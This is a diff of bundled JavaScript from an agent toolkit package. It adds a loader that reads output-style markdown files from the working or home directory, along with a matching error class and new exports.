+ var OutputStyleError = class extends TheokitAgentError3 {
877
+ static {
878
+ __name(this, "OutputStyleError");
879
+ }
880
+ name = "OutputStyleError";
881
+ constructor(message) {
882
+ super(`[@theokit/agents] ${message}`, {
883
+ code: "output_style_not_found",
884
+ isRetryable: false
885
+ });
886
+ }
887
+ };
888
+ function loadOutputStyle(input) {
889
+ if (input.name === void 0) return void 0;
890
+ const searched = [
891
+ join4(input.cwd, OUTPUT_STYLES_DIR),
892
+ ...input.homeDir === void 0 ? [] : [
893
+ join4(input.homeDir, OUTPUT_STYLES_DIR)
894
+ ]
895
+ ];
896
+ for (const dir of searched) {
897
+ const path = join4(dir, `${input.name}.md`);
898
+ if (!existsSync4(path)) continue;
899
+ const raw = readFileSync5(path, "utf8");
900
+ const parsed = splitFrontmatter(raw);
901
+ const body = parsed === void 0 ? raw : parsed.body;
902
+ const description = parsed === void 0 ? void 0 : frontmatterValue(parsed.frontmatter, "description");
903
+ return {
904
+ name: input.name,
905
+ content: body.trim(),
906
+ ...description === void 0 ? {} : {
907
+ description
908
+ },
909
+ keepCodingInstructions: parsed !== void 0 && frontmatterValue(parsed.frontmatter, "keep-coding-instructions") === "true"
910
+ };
911
+ }
912
+ throw new OutputStyleError(`output style "${input.name}" is configured and no file backs it. Looked for ${input.name}.md in: ${searched.join(", ")}. A style that cannot be read is not applied, and a silent fallback would be indistinguishable from a style that had no effect.`);
913
+ }
914
+ __name(loadOutputStyle, "loadOutputStyle");
915
+
720
916
  // src/config/context-pressure.ts
721
917
  import { resolveEffectiveContextWindow } from "@theokit/sdk/compaction";
722
- import { TheokitAgentError as TheokitAgentError3 } from "@theokit/sdk/errors";
918
+ import { TheokitAgentError as TheokitAgentError4 } from "@theokit/sdk/errors";
723
919
  var DEFAULT_CONTEXT_PRESSURE_THRESHOLDS = {
724
920
  warn: 0.75,
725
921
  critical: 0.9
726
922
  };
727
- var ContextPressureThresholdError = class extends TheokitAgentError3 {
923
+ var ContextPressureThresholdError = class extends TheokitAgentError4 {
728
924
  static {
729
925
  __name(this, "ContextPressureThresholdError");
730
926
  }
@@ -752,18 +948,25 @@ export {
752
948
  ContextPressureThresholdError,
753
949
  DEFAULT_CONTEXT_PRESSURE_THRESHOLDS,
754
950
  FILE_INLINE_CAP,
951
+ LAYERS_ARE_POSITIONED,
755
952
  LayerOutOfOrderError,
756
953
  LayeredConfig,
954
+ OutputStyleError,
955
+ SETTINGS_LAYERS,
757
956
  TrustStore,
758
957
  TrustStorePermissionsError,
958
+ blockAppliesTo,
759
959
  composeInstructions,
760
960
  contextPressure,
761
961
  resolveEffectiveContextWindow as effectiveContextWindow,
762
962
  expandCommandTemplate,
763
963
  expandInstructionImports,
764
964
  frontmatterValue,
965
+ layerPrecedence,
765
966
  loadCustomCommands,
766
967
  loadInstructionTree,
968
+ loadOutputStyle,
969
+ settingsLayerChain,
767
970
  splitFrontmatter,
768
971
  templateHints
769
972
  };